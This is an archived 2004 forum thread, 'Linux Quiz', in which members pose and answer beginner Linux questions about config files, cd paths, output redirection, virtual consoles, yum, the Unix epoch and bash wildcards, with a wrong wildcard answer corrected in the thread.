03-25-2004, 11:50 PM
I posted 2 unanswered questions above (way above)

They are easy ones too :w00t:

BTW, does the X in my avatar still rotate? It isn&#39;t rotating for me :&#39;(

h1
03-26-2004, 01:09 AM
@leftism:
It&#39;s 255.255.255.254, and the 300s were an inside joke. :P

@LSA:
Yes, it&#39;s rotating, reinstall your LZW plugin.

leftism
03-26-2004, 02:11 AM
Originally posted by haxor
It&#39;s 255.255.255.254, and the 300s were an inside joke

That&#39;ll be why I didn&#39;t get the joke then :)

255.255.255.255 is still a &#39;legal&#39; (you cant use that range as its reserved) IP address, it would just be a broadcast address.

h1
03-26-2004, 03:04 AM
True. :)

bulio
03-26-2004, 10:16 PM
Originally posted by LSA@25 March 2004 - 00:32
New question, what config file lists the modules to be loaded at startup?
/usr/src/linux/.config :huh:

LSA
03-26-2004, 10:24 PM
Originally posted by bulio+26 March 2004 - 16:16--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (bulio @ 26 March 2004 - 16:16)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-LSA@25 March 2004 - 00:32
New question, what config file lists the modules to be loaded at startup?
/usr/src/linux/.config :huh: [/b][/quote]
Nope, anyone else want to try?

shn
03-26-2004, 10:29 PM
Originally posted by LSA+26 March 2004 - 16:24--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 26 March 2004 - 16:24)</td></tr><tr><td id='QUOTE'>
Originally posted by bulio@26 March 2004 - 16:16
<!--QuoteBegin-LSA@25 March 2004 - 00:32
New question, what config file lists the modules to be loaded at startup?
/usr/src/linux/.config :huh:
Nope, anyone else want to try?[/b][/quote]
/etc/modules.conf

If this a slackware question..................again. ----------&#62; /etc/rc.d/rc.S :01:

LSA
03-27-2004, 06:59 PM
Originally posted by shn+26 March 2004 - 16:29--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn &#064; 26 March 2004 - 16:29)</td></tr><tr><td id='QUOTE'>
Originally posted by LSA@26 March 2004 - 16:24

Originally posted by bulio@26 March 2004 - 16:16
<!--QuoteBegin-LSA@25 March 2004 - 00:32
New question, what config file lists the modules to be loaded at startup?
/usr/src/linux/.config :huh:
Nope, anyone else want to try?
/etc/modules.conf

If this a slackware question..................again. ----------&#62; /etc/rc.d/rc.S :01:[/b][/quote]
Correct

Nope not a slackware question, :lol:

BTW, That linux quiz is an imposter&#33;

shn
03-27-2004, 07:21 PM
Question:

There are 5 directories and you are in directory 5.

/home/you/dir1/dir2/dir3/dir4/dir5

From a terminal, how do you move up to dir2 using the cd command.

Do Not use an absolute path.

@LSA -- changed the Link for ya. :lol:

LSA
03-27-2004, 07:31 PM
Originally posted by shn@27 March 2004 - 13:21
Question:

There are 5 directories and you are in directory 5.&nbsp;

/home/you/dir1/dir2/dir3/dir4/dir5

From a terminal, how do you move up to dir2 using the cd command.

Do Not use an absolute path.&nbsp;

@LSA -- changed the Link for ya.&nbsp; :lol:
cd ../../..

I think that&#39;s correct but ATM I don&#39;t have a machine to test it on...

------------

Ok good, that link is much better than the lindows rock&#33; :w00t:

------------

Hmm, give an example of &#39;redirecting output&#39;

I hope I worded that right :huh:

shn
03-27-2004, 08:23 PM
Originally posted by LSA+27 March 2004 - 13:31--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 27 March 2004 - 13:31)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-shn@27 March 2004 - 13:21
Question:

There are 5 directories and you are in directory 5.

/home/you/dir1/dir2/dir3/dir4/dir5

From a terminal, how do you move up to dir2 using the cd command.

Do Not use an absolute path.

@LSA -- changed the Link for ya. :lol:
cd ../../..

I think that&#39;s correct but ATM I don&#39;t have a machine to test it on...

------------

Ok good, that link is much better than the lindows rock&#33; :w00t:

------------

Hmm, give an example of &#39;redirecting output&#39;

I hope I worded that right :huh:[/b][/quote]

head &#60; /.bashrc


unix@linux&#58;~/work/tmp&#62; ls -la &#62; ls.out
unix@linux&#58;~/work/tmp&#62; ls -la
total 4
drwxr-xr-x &nbsp; &nbsp;2 unix &nbsp; &nbsp; users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;72 2004-03-27 13&#58;19 .
drwxr-xr-x &nbsp; &nbsp;3 unix &nbsp; &nbsp; users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;72 2004-03-27 13&#58;17 ..
-rw-r--r-- &nbsp; &nbsp;1 unix &nbsp; &nbsp; users &nbsp; &nbsp; &nbsp; &nbsp; 200 2004-03-27 13&#58;19 ls.out
unix@linux&#58;~/work/tmp&#62;

LSA
03-27-2004, 11:51 PM
Looks ok.

I can&#39;t think of a question, I just "woke up"......long story

LSA
03-29-2004, 01:21 AM
Ok heres one:

Where is the file that stores your iptables configuration?

LSA
03-30-2004, 11:09 PM
Here is another one then...

How do you find out which config file X is using?

shn
04-01-2004, 09:43 AM
Browse the internet from a terminal................any site.

LSA
04-01-2004, 10:24 PM
Originally posted by shn@1 April 2004 - 03:43
Browse the internet from a terminal................any site.
I&#39;m not sure i&#39;m understanding the question right but I think this is what you mean.

lynx [site]
links [site]
elinks ..... etc

Is that what you meant? I&#39;m not sure.

shn
04-01-2004, 10:35 PM
How do you switch from one virtual console from another?

LSA
04-01-2004, 10:41 PM
Alt+[funtion key]

shn
04-01-2004, 10:44 PM
Good boy.

Now switch Virtual consoles while in X.

LSA
04-01-2004, 10:47 PM
Originally posted by shn@1 April 2004 - 16:44
Good boy.

Now switch Virtual consoles while in X.
Ctrl+Alt+[Funtion Key]

I gotta go rake leaves i&#39;ll be back in an hour probably (if anyone&#39;s home)

shn
04-01-2004, 10:50 PM
Originally posted by LSA+1 April 2004 - 16:47--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 1 April 2004 - 16:47)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-shn@1 April 2004 - 16:44
Good boy.

Now switch Virtual consoles while in X.
Ctrl+Alt+[Funtion Key]

I gotta go rake leaves i&#39;ll be back in an hour probably (if anyone&#39;s home)[/b][/quote]
Correct Sir

Ain&#39;t Google just Grande. :)

LSA
04-02-2004, 12:29 AM
Originally posted by shn+1 April 2004 - 16:50--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn @ 1 April 2004 - 16:50)</td></tr><tr><td id='QUOTE'>
Originally posted by LSA@1 April 2004 - 16:47
<!--QuoteBegin-shn@1 April 2004 - 16:44
Good boy.

Now switch Virtual consoles while in X.
Ctrl+Alt+[Funtion Key]

I gotta go rake leaves i&#39;ll be back in an hour probably (if anyone&#39;s home)
Correct Sir

Ain&#39;t Google just Grande. :) [/b][/quote]
:lol: I didn&#39;t use google :P

LSA
04-02-2004, 11:54 PM
Originally posted by leftism@20 February 2004 - 04:32
The questions seem to have dried up so..... :)

If you have these files in your home directory...

file.c
main.c
defines.h
program.tar.gz
index.html

How can you delete the C source files and the header file only, using just one command?
I was reading about bash wildcards and found the answer to this question.

rm *[&#33;ch]

Is that right?

LSA
04-03-2004, 10:28 PM
When is epoch?

shn
04-04-2004, 04:14 AM
Originally posted by LSA@3 April 2004 - 16:28
When is epoch?
I hate to do this, but do you run Debian?

And I could have swarn your initial question was:

What is epoch and not When is.

But I suppose since I see no sign of an edit then I am wrong. Or am I?


http://community.the-underdogs.org/smiley/happy/tails.gif

Barbie
04-04-2004, 05:45 AM
Originally posted by LSA@3 April 2004 - 17:28
When is epoch?
1970-01-01 00:00:00 UTC

LSA
04-04-2004, 03:04 PM
Originally posted by shn+3 April 2004 - 22:14--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn @ 3 April 2004 - 22:14)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-LSA@3 April 2004 - 16:28
When is epoch?
I hate to do this, but do you run Debian?

And I could have swarn your initial question was:

What is epoch and not When is.

But I suppose since I see no sign of an edit then I am wrong. Or am I?


http://community.the-underdogs.org/smiley/happy/tails.gif [/b][/quote]
Do I run Debian? No, why do you ask that? :huh:

My initial question was &#39;when is epoch&#39;, but &#39;what is epoch&#39; would have been a better question.

Barbie gets a point.

I got a few unanswered questions above, if anyone wants one.

shn
04-04-2004, 09:56 PM
Originally posted by LSA+4 April 2004 - 09:04--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 4 April 2004 - 09:04)</td></tr><tr><td id='QUOTE'>
Originally posted by shn@3 April 2004 - 22:14
<!--QuoteBegin-LSA@3 April 2004 - 16:28
When is epoch?
I hate to do this, but do you run Debian?

And I could have swarn your initial question was:

What is epoch and not When is.

But I suppose since I see no sign of an edit then I am wrong. Or am I?


http://community.the-underdogs.org/smiley/happy/tails.gif
Do I run Debian? No, why do you ask that? :huh:

My initial question was &#39;when is epoch&#39;, but &#39;what is epoch&#39; would have been a better question.

Barbie gets a point.

I got a few unanswered questions above, if anyone wants one.[/b][/quote]
Because I had a Debian question for you. But I guess since you don&#39;t run it and you keep saying you wish you had slackware, then you&#39;ll have to settle for this fedora one. :)



Bring the whole system up2date with yum. Should be one single command.

LSA
04-04-2004, 10:10 PM
I ordered slackware yesterday :w00t:

I think it&#39;s &#39;yum upgrade&#39;

LSA
04-06-2004, 12:00 AM
What is kudzu?

leftism
04-06-2004, 12:52 AM
Originally posted by leftism+--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (leftism)</td></tr><tr><td id='QUOTE'>
The questions seem to have dried up so.....

If you have these files in your home directory...

file.c
main.c
defines.h
program.tar.gz
index.html

How can you delete the C source files and the header file only, using just one command?
<!--QuoteBegin-LSA
I was reading about bash wildcards and found the answer to this question.


rm *[&#33;ch]

Is that right?
[/b][/quote]

Nearly :)

[&#33;ch] means "not c or h" so you&#39;d be deleting every file that didn&#39;t end in c or h.

rm *.[ch] is the correct answer.

You could also do rm *.? because ? means one character only.

LSA
04-06-2004, 01:03 AM
:">

Afronaut
04-06-2004, 02:01 AM
This thread is now Closed by Request of the author.

Please, someone start a new thread called Linux Quiz v.2
if needed.

I sure like to read this section too and I know I didnt post in this thread
but that is because knowhow on Linux is somewhat limited, im a n00b.

:)